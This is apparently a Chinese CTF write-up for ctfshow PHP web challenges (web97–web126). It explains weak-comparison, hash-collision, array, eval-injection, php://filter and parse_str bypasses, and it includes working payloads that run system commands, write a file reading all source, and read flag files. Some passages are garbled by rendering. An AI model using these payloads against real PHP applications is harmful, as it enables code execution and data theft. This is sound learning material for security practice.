`strpos` 是一个非常有用的函数,用于查找字符串中子字符串或字符的位置。在使用时,确保使用严格比较来正确处理返回值,特别是在处理位置 0 时。
题目
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
要想输出flag,就要让前面三个if值为false最后一个为true
使用?num=010574可以绕过前面两个但是第二个无法绕过
因为strpos函数返回的值是第一个0
出现的位置,第一个0
在0(从0开始算)于是!strpos(
n
u
m
,
"
0
"
)
的值为
t
r
u
e
,所以要让他
‘
s
t
r
p
o
s
(
num, "0")的值为true,所以要让他`strpos(
num,"0")的值为true,所以要让他‘strpos(num, “0”)`为1,从而绕过
?num=+010574
or
?num= 010574
web97(md5强类型绕过)
题目
if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b'])) echo $flag; else print 'Wrong.'; }
<1>md5值完全相同的字符绕过
$a=$_GET['a'];
$b=$_GET['b'];
md5($a)===md5($b)
payload:?a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
两个MD5值完全相同的字符
array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
此时插入sha1值完全相同的字符
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%
<2>数组绕过
payload:?a[]=1&b[]=2
md5不能加密数组 ,如 a[]=1 , b[]=1 , 传入数组会报错,但会继续执行并且返回结果为null
比如传入md5(a[]=1)==md5(b[]=2),实际上是null==null,所以数组进行md5弱比较时,结果相等
web98(三目运算符)
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
G E T ? _GET? GET?_GET=&$_POST:‘flag’; //如果使用GET传参,则使用POST传参来代替(&类似于c语言的取地址运算符)
G E T [ ‘ f l a g ’ ] = = ‘ f l a g ’ ? _GET[‘flag’]==‘flag’? GET[‘flag’]==‘flag’?_GET=&$_COOKIE:‘flag’; //如果GET传参flag的值=flag则将cookie的值代替flag中的值
G E T [ ‘ f l a g ’ ] = = ‘ f l a g ’ ? _GET[‘flag’]==‘flag’? GET[‘flag’]==‘flag’?_GET=&$_SERVER:‘flag’; //与上同理
G
E
T
[
‘
H
T
T
P
F
L
A
G
’
]
=
=
‘
f
l
a
g
’
?
_GET[‘HTTP_FLAG’]==‘flag’?
GET[‘HTTPFLAG’]==‘flag’?flag:FILE //如果GET传参HTTP_FLAG的值为flag则输出$flag
payload:
GET:a=1 //为了触发POST传参GET传任意值都可
POST:HTTP_FLAG=flag //GET=POST,因此POST传参,即实现$_GET['HTTP_FLAG']=='flag'
web99(in_array函数的特性)
题目
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
题目代码中存在的知识点:
array_push——往数组尾部插入元素
rand(1,$i)——随机生成1-877之间的数
//所以array_push($allow, rand(1,$i))就是往数组中插入1-877之间的数字
in_array——搜索数组中是否存在指定的值:
in_array(search,array,type)
search为指定搜索的值
array为指定检索的数组
type为TRUE则 函数还会检查 search的类型是否和 array中的相同
综上,我们可以发现数组中的值是int,而在弱类型中当php字符串和int比较时,字符串会被转换成int,所以 字符串中数字后面的字符串会被忽略。题目中的in_array没有设置type,我们可以输入字符串5.php(此处数字随
在PHP中,in_array
函数用于检查一个值是否存在于一个数组中。默认情况下,它执行的是弱类型比较,也就是说,它在比较值时不会考虑它们的类型,只会比较它们的值。这意味着字符串、整数、浮点数等不同类型的值可能会被视为相等。
因此我们输入
?n=1.php等价于1
web100(反射类ReflectionClass、运算符优先级)
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
and
和or
的优先级低于"="
所以v0的值取决于v1,只需要将v1的设为纯数字即可。
v2一定是用来执行命令的,提示中写到flag在ctfshow类中,最简单的方法直接输出这个类即可,也就是构造出 echo new ReflectionClass(‘ctfshow’);
。
v3正则必须有;,可以v3=;作为v2语句的结束符
在代码段$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
中=
的优先级大于and
、or
因此只需要保证v1是数值即可而v2不能有;v3需要;
因此我们构造payload
?v1=1&v2=echo new ReflectionClass&v3=;
非预期:
v1=1&v2=var_dump($ctfshow)/*&v3=*/;
?v1=1&v2=?><?php echo `cat ctfshow.php`?>/*&v3=*/;
?v1=1&v2=system('cat ctfshow.php')&v3=-2;
?v1=1&v2=echo&v3=;system('cat ctfshow.php');
web102(call_user_func函数的使用)
用于调用用户定义的函数或方法。它可以动态调用函数,通过传递函数名或方法名以及相关参数,实现灵活的函数调用。
回调函数:在某些情况下,你可能需要将一个函数作为参数传递给另一个函数,以便在特定事件发生时调用它。
动态函数调用:当你不知道具体要调用哪个函数时,可以使用 call_user_func 来动态选择和调用函数。
处理钩子和过滤器:在插件和模块开发中,经常需要使用钩子和过滤器机制,通过 call_user_func 可以实现这些机制。
function add($a, $b) {
return $a + $b;
}
$result = call_user_func('add', 5, 10);
echo $result; // 输出 15
题目
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
思路:
首先看几个参数:v4,只有当v4的值为1时,才可以进入if条件,再根据运算符的优先级,可以让v2构造数字,str调用了其他函数,既然要调用函数并且写入v3,因此v3是个文件名1.php,然后利用hex2bin函数再加上v2用16进制就可以绕过,但是由于是php7以上的版本因此无法使用,我们换种思路
知识点
题目中几个重要的php函数:
substr() 字符串截取
call_user_func() 调用方法或变量,第一个参数是调用的对象,第二个参数是被调用对象的参数
file_put_contents() 用来写文件进去,第一个参数是文件名,第二个参数是需要写进文件中的内容 文件名支持伪协议
根据上述条件分析,思路大概就是通过file_put_contents()函数来创建文件,文件中注入攻击代码即可
参数分析: v1是调用方法
v2是数字字符串,且是写进文件中的内容 v3是文件名(可通过伪协议来创建)
v3=php://filter/write=convert.base64-decode/resource=2.php v2:写进2.php的内容 ——> 查看当前页面源码;<?=`cat *`; ——> 转为base64为PD89YGNhdCAqYDs ——>转为16进制的ascii码为5044383959474e6864434171594473——>绕过截断,在前面随意加两位数字225044383959474e6864434171594473 v1:将数字字符串还原为base64码 ——> hex2bin
最终payload: v1=hex2bin v2=225044383959474e6864434171594473 v3=php://filter/write=convert.base64-decode/resource=2.php
注!!
进base64编码<?=`cat *`;的时候,一定要把后面的占位符`=`去掉,否则解码会出现字母d,会导致is_numeric无法绕过
web105(变量变量)
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
观察源码,我们首先找逻辑关系
这段代码的主要作用是处理HTTP GET和POST请求,并且根据传入的参数动态创建变量,然后进行一些条件检查。让我们逐步解析这段代码,解释各个部分的作用。
$_GET
和 $_POST
$_GET
和 $_POST
是PHP中的超全局数组,用于存储通过HTTP GET和POST方法传递的参数。
$_GET
包含通过URL查询字符串传递的参数。$_POST
包含通过HTTP POST方法传递的参数。
例如,对于如下URL:
http://example.com/script.php?name=John&age=25
$_GET
数组将包含两个元素:
$_GET['name'] = 'John';
$_GET['age'] = '25';
foreach($_GET as $key => $value)
这一行代码表示对$_GET
数组进行遍历,其中$key
是数组的键,$value
是数组的值。例如,如果$_GET
包含name=John
和age=25
,那么遍历时$key
将分别是name
和age
,$value
将分别是John
和25
。
$$key = $$value;
这是变量变量的用法。假设$_GET
中有name=John
,遍历时将生成:
$name = $John;
完整代码解析
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error = '你还想要flag嘛?';
$suces = '既然你想要那给你吧!';
foreach($_GET as $key => $value) {
if($key === 'error') {
die("what are you doing?!");
}
$$key = $$value;
}
foreach($_POST as $key => $value) {
if($value === 'flag') {
die("what are you doing?!");
}
$$key = $$value;
}
if (!($_POST['flag'] == $flag)) {
die($error);
}
echo "you are good" . $flag . "\n";
die($suces);
代码解释
- highlight_file(FILE);: 输出当前文件的源码,并高亮显示。
- include(‘flag.php’);: 包含另一个文件
flag.php
,假设该文件中定义了$flag
变量。 - error_reporting(0);: 关闭错误报告。
- e r r o r ∗ ∗ 和 ∗ ∗ error** 和 ** error∗∗和∗∗suces: 定义两个字符串变量,用于提示错误和成功消息。
- foreach($_GET as $key => $value):
- 遍历
$_GET
数组。 - 如果键是
error
,则终止脚本并输出提示。 - 否则,将变量
$$key
的值设为$$value
。
- 遍历
- foreach($_POST as $key => $value):
- 遍历
$_POST
数组。 - 如果值是
flag
,则终止脚本并输出提示。 - 否则,将变量
$$key
的值设为$$value
。
- 遍历
- if (!($_POST[‘flag’] == $flag)):
- 检查POST请求中是否包含
flag
,并且值是否等于预期的$flag
。 - 如果不等于,输出错误信息并终止脚本。
- 检查POST请求中是否包含
- **echo “you are good” . KaTeX parse error: Undefined control sequence: \n at position 9: flag . "\̲n̲";**: 输出成功信息和`flag`的值。
- die($suces);: 输出成功提示并终止脚本。
思路
分析源码,要想输出flag,就需要die()函数的帮助,die函数里的参数是$suces要把它变成$flag,首先进行get传参,将传过来的参数进行foreach便利,并将传入的键值对进行覆盖如/?suces=flag 即$suces=$flag
第一个foreach判断,key不能为error,所以可以让他等于suces
第二个,value不能为flag,我们可以套娃即 error => suces => flag
然后两个die()都会输出flag
web106(数组绕过)
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
分析源码发现要提交一个POST和GET参数,并且要求sha1($v1)==sha1($v2)
他俩的哈希值相同,于是我们想到了前面的md5,看看是不是也可以利用数组绕过
POST:
v2=1
GET:
?v1=2
或者使用哈希碰撞
aaO8zKZF以及aaK1STfY
知识点
不论是 md5 还是 sha1 函数,当其参数为一个数组时,函数不能将其转换为对应的哈希值,因此返回值为空(即 null),但并不是 false,而是 warning
false 的程序讨论其返回值是没有意义的,但 warning 的程序返回值会根据实际情况而有所不同
因此,当哈希函数的参数为数组时,其返回的值为 null 而不是 false
web107(parse_str函数)
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
观察源码,发现
parse_str($v1,$v2);
parse_str()函数:
语法
parse_str(string $query_string, array &$result_array)
- $query_string: 需要解析的查询字符串。
- $result_array: (可选)一个变量,用于存储解析结果的数组。
1. 解析成变量
如果只传入一个参数,它会将解析的键值对直接导入到当前作用域中作为变量:
$query_string = "name=John&age=25";
parse_str($query_string);
echo $name; // 输出 John
echo $age; // 输出 25
在这个例子中,parse_str()
解析 name=John&age=25
并将 name
和 age
导入到当前作用域中作为变量。
2. 解析成数组
如果传入第二个参数,它会将解析结果存储到指定的数组中:
$query_string = "name=John&age=25";
parse_str($query_string, $result);
print_r($result);
输出:
Array
(
[name] => John
[age] => 25
)
在这个例子中,parse_str()
解析 name=John&age=25
并将结果存储到数组 $result
中。
假设我们有一个包含查询字符串的变量 $query_string
,并希望解析它:
$query_string = "name=John&age=25&city=NewYork";
// 将解析结果存储到数组中
parse_str($query_string, $params);
print_r($params);
输出:
Array
(
[name] => John
[age] => 25
[city] => NewYork
)
思路
法一
要想输出flag,就需要$v2['flag']==md5($v3)
后面的md5的值可以使用数组绕过,使用数组绕过,他返回的为null(空)
要相等了话,$v2['flag']
也要为null,因此
?v3[]=1
post:
v1=
法二
需要$v2['flag']==md5($v3)
故要让两边哈希值相同
?v3=1
post:
v1=flag=c4ca4238a0b923820dcc509a6f75849b(1的md5值)
web108(ereg函数的漏洞)
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
ereg
可以用%00正则截断
正则表达式只会匹配%00之前的内容,后面的被截断掉,可以通过正则表达式检测,后面通过反转成877%00a,再用intval函数获取整数部分得到877,877为0x36d的10进制
web109(拼接命令执行)
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
思路
查看源码,发现没有地方输出flag,因此可能是命令执行
eval("echo new $v1($v2());");
这一点也证实了,使用命令执行
他new了一个类,我们可以想到ReflectionClass()函数,于是
?=v1=RefelectionClass&v2=system('ls'));//
?v1=Exception();system("ls");//&v2=a
?v1=ReflectionClass&v2=system("ls")
?v1=ReflectionClass("PDO");system("ls");//&v2=a
?v1=class{ public function __construct(){ system('ls'); } };&v2=a
web110(FilesystemIterator的使用)
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
过滤掉了内置类的手法,只能硬凑了
类FilesystemIterator
可以用来遍历目录,需要一个路径参数
函数getcwd
可以返回当前工作路径且不需要参数,由此可以构造payload
/?v1=FilesystemIterator&v2=getcwd
关于FilesystemIterator
这里说一下为什么Directoryiterator为什么不能用?
当你创建一个 DirectoryIterator
对象并将其实例化为某个目录时,该对象会默认指向所代表的目录。举个例子,如果你创建一个 DirectoryIterator
对象来表示 /var/www/html
目录,那么该对象就会默认指向 /var/www/html
目录。
而当你对这个目录进行迭代操作时,DirectoryIterator
会遍历该目录中的所有文件和子目录。这意味着,遍历的结果会包括当前目录 .
和上级目录 ..
。通常,这两个特殊的目录会作为遍历结果的一部分返回,因为它们是文件系统中的标准目录表示法。
所以,使用 DirectoryIterator
遍历目录时,默认情况下会包括 .
和 ..
这两个目录项。
web111(GLOBALS超全局变量的使用)
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
思路
先看代码逻辑,当v1包含ctfshow的时候,才可以进入if
然后 eval("$$v1 = &$$v2;");
也就是 名字为 名字为 名字为v1=&取地址 名字为 名字为 名字为v2
也就是var_dump
要输出的是,名为
c
t
f
s
h
o
w
的变量的值,又因为
‘
ctfshow的变量的值,又因为`
ctfshow的变量的值,又因为‘KaTeX parse error: Expected 'EOF', got '&' at position 6: v1 = &̲$v2`
所以 c t f s h o w 的值就是 ctfshow的值就是 ctfshow的值就是$v2的值
所以我们构造
?v1=ctfshow&v2=GLOBALS
也就等价于
var_dump($GLOBALS);
其他思路
注意 PHP 的函数具有词法作用域
在函数内部无法调用外部的变量,除非进行传参。这道题无非注意以下几点:
- 我们最终要得到 f l a g 的值,就需要 v a r d u m p ( flag 的值,就需要 var_dump( flag的值,就需要vardump($v1) 中的 $v1 为 flag,即 $v2 要为 flag,这样 KaTeX parse error: Can't use function '$' in math mode at position 7: v2 就为 $̲flag,&v2 就为 $flag 对应的值
- URL 传参时 $v2 不能直接传为 flag,否则 $flag 会因“函数内部无法调用外部变量”的限制而导致其返回 null
- 要想跨过词法作用域的限制,我们可以用 GLOBALS 常量数组,其中包含了 $flag 键值对,就可以将 $flag 的值赋给 $$v1
web112(php伪协议过滤器的使用)
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
<?php
思路:
定义了一个名为filter的函数来过滤变量里是否含有/\.\.\/|http|https|data|input|rot13|base64|string
然后使用了is_file函数查看参数是否是文件,因此我们可以使用php://伪协议来读取文件
payload
可以直接用不带任何过滤器的filter伪协议
payload:
file=php://filter/resource=flag.php
也可以用一些没有过滤掉的编码方式和转换方式
payload:
file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
file=compress.zlib://flag.php
payload:
file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php
php伪协议
在 PHP 中,php://filter
是一个伪协议,它允许在文件操作过程中应用过滤器。使用 php://filter
可以对文件内容进行编码、解码、压缩等操作。resource
参数指定了要操作的文件。在你提到的例子中,file=php://filter/resource=flag.php
,php://filter
伪协议用于读取 flag.php
文件,但没有指定任何过滤器,因此只是简单地读取文件内容。
现在让我们逐步分析这个 URL 参数及其作用:
file=php://filter/resource=flag.php
php://filter
:使用filter
伪协议。resource=flag.php
:指定要操作的文件为flag.php
。
不使用 /read
参数的原因
php://filter/read=...
仅在需要指定读取操作时使用。实际上,默认行为是读取文件内容,因此如果只是简单读取文件,没有必要显式指定/read
参数。- 在这种情况下,指定
php://filter/resource=flag.php
已经足够让 PHP 读取flag.php
的内容。
php://filter
使用示例
-
直接读取文件内容:
$content = file_get_contents('php://filter/resource=flag.php'); echo $content;
这个例子中,我们没有指定任何过滤器,直接读取并输出
flag.php
文件的内容。 -
使用过滤器读取文件内容:
$content = file_get_contents('php://filter/read=string.toupper/resource=flag.php'); echo $content;
在这个例子中,我们使用了
string.toupper
过滤器,将文件内容转换为大写。
php://filter
的常见过滤器
string.toupper
:将字符串转换为大写。string.tolower
:将字符串转换为小写。convert.base64-encode
:将内容编码为 Base64。convert.base64-decode
:将内容解码自 Base64。zlib.deflate
:将内容压缩为 DEFLATE 格式。zlib.inflate
:将内容解压缩自 DEFLATE 格式。
例子:使用 Base64 编码和解码过滤器
-
读取并 Base64 编码文件内容:
$encoded = file_get_contents('php://filter/read=convert.base64-encode/resource=flag.php'); echo $encoded;
-
读取并 Base64 解码文件内容:
$decoded = file_get_contents('php://filter/read=convert.base64-decode/resource=encoded_file.txt'); echo $decoded;
假设我们有一个名为 flag.php
的文件,内容如下:
<?php
echo "This is a secret flag!";
?>
我们可以使用 php://filter
来读取其内容:
$content = file_get_contents('php://filter/resource=flag.php');
echo $content;
这是最简单的用法,不需要指定任何额外的过滤器或参数。如果我们想应用某种过滤器,可以在 php://filter
之后添加相应的过滤器和参数。
总结一下,不使用 /read
参数的原因是因为它在默认情况下是不必要的,除非我们需要指定某种特定的读取过滤器。直接使用 php://filter/resource=flag.php
就可以实现文件内容的读取。
web113(compress.zlib读取文件和利用函数所能处理的长度限制进行目录溢出)
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
方法一
这次发现多了filter的过滤
于是可以使用
?file=compress.zlib://flag.php
ps:在 PHP 中,compress.zlib:// 伪协议提供了一种特殊的方式来读取数据。在这种情况下,使用 compress.zlib:// 伪协议并不要求文件实际是一个压缩文件。这是因为伪协议和过滤器本身是透明的,意味着它们会尝试解压缩读取的数据,而不会首先验证文件是否压缩。因此在检查flag.php后发现不少压缩文件,于是直接读取数据了
方法二
可以参考[WMCTF2020]Make PHP Great Again]
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}
这里涉及到一个知识点是
:
PHP最新版的小Trick, require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含。构造payload:/?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
因此这里的is_file就类似于require_once
利用函数所能处理的长度限制进行目录溢出: 原理:/proc/self/root代表根目录,进行目录溢出,超过is_file能处理的最大长度就不认为是个文件了
web115(trim()函数和is_numeric()函数的检测机制)
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
} hacker!!!
payload:num=%0c36
①trim()函数会去掉num里的%0a %0b %0d %20 %09 这里只有%0c可用。②num!==36是对的,原因:强比较状态下是比较两个字符串,等于是'%0c36'和‘36’比是不是相等,肯定不相等。③num==36是对的。原因:弱比较状态下会把传入的num进行类似于【intval()】的一个转化【这里不一定是intval转化】最后比较的实际上是‘36’==‘36’。肯定相等。④函数is_numeric():检测是不是数字/数字字符串。这里的%0c是换页符,%09,%20都可以让is_numeric()函数为true;
web123()
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
思路
首先看见了$_SERVER['argv']
这一超全局变量,然后要进入第一个if需要CTF_SHOW存在 和 CTF_SHOW.COM存在 而 fl0g 不存在
第一个难搞的地方isset($_POST['CTF_SHOW.COM'])
因为php变量命名是不允许使用点号的
可以测试一下
<?php
var_dump($_POST);
输入 CTF_SHOW.COM=1
返回
array(1) { ["CTF_SHOW_COM"]=> string(1) "1" }
那么既然题目是可以有方法通过的,我们就来个暴力的方式
下面代码的主要功能是模拟post传参,然后根据返回值的长度来判断。不符合要求的返回长度都为0
<?php
function curl($url,$data){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$response = curl_exec($ch);
curl_close($ch);
return strlen($response);
}
$url="http://127.0.0.1/test.php";
for ($i=0; $i <=128 ; $i++) {
for ($j=0; $j <=128 ; $j++) {
$data="CTF".urlencode(chr($i))."SHOW".urlencode(chr($j))."COM"."=123";
if(curl($url,$data)!=0){
echo $data."\n";
}
}
}
其中test.php中的内容
<?php
if(isset($_POST['CTF_SHOW.COM'])){
echo 123;
}
输出结果
CTF%5BSHOW.COM=123
解释:由于在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换
$_SERVER[‘argv’]
$_SERVER['argv']` 是 PHP 的一个超全局数组变量,用来存储从命令行传递给脚本的参数。这个数组包含了脚本运行时传递的所有命令行参数。
1、cli模式(命令行)下
第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数
2、web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
$argv,$argc在web模式下不适用
$_SERVER['argv']
命令行模式:在命令行运行 PHP 脚本时,$_SERVER['argv'] 包含传递给脚本的参数。
网页模式:在通过 Web 服务器运行 PHP 脚本时,$_SERVER['argv'] 通常是空的,因为没有命令行参数传递。
$_SERVER['QUERY_STRING']
网页模式:在通过 Web 服务器运行 PHP 脚本时,$_SERVER['QUERY_STRING'] 包含 URL 中的查询字符串部分,即 ? 后面的内容。
简单的说,在web网页下$_SERVER['argv'][0]= $_SERVER['QUERY_STRING']
因此$a[0]= $_SERVER['QUERY_STRING']
payload:
get: $fl0g=flag_give_me;
post: CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=eval($a[0])
payload
POST : CTF_SHOW=&CTF[SHOW.COM=1&fun= echo $flag
web125(get_defined_vars()函数)
GET:?php://filter/read=convert.base64-encode/resource=flag.php
post:CTF_SHOW=a&CTF[SHOW.COM=b&fun=include($a[0])
GET:?1=php://filter/convert.base64-encode/resource=flag.php post:CTF_SHOW=1&CTF[SHOW.COM=1&fun=include$_GET[1]
CTF_SHOW=&CTF[SHOW.COM=&fun=var_export(get_defined_vars())
get_defined_vars() 是 PHP 内置的一个函数,它返回一个数组,包含所有当前定义的变量。这个数组包括局部变量、全局变量、环境变量以及超级全局变量等。使用这个函数可以方便地查看脚本执行到某个点时,所有已定义的变量及其值。
web126(再次利用parse_str函数)
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
由于c长度限制,因此无法使用get_defined_vars()
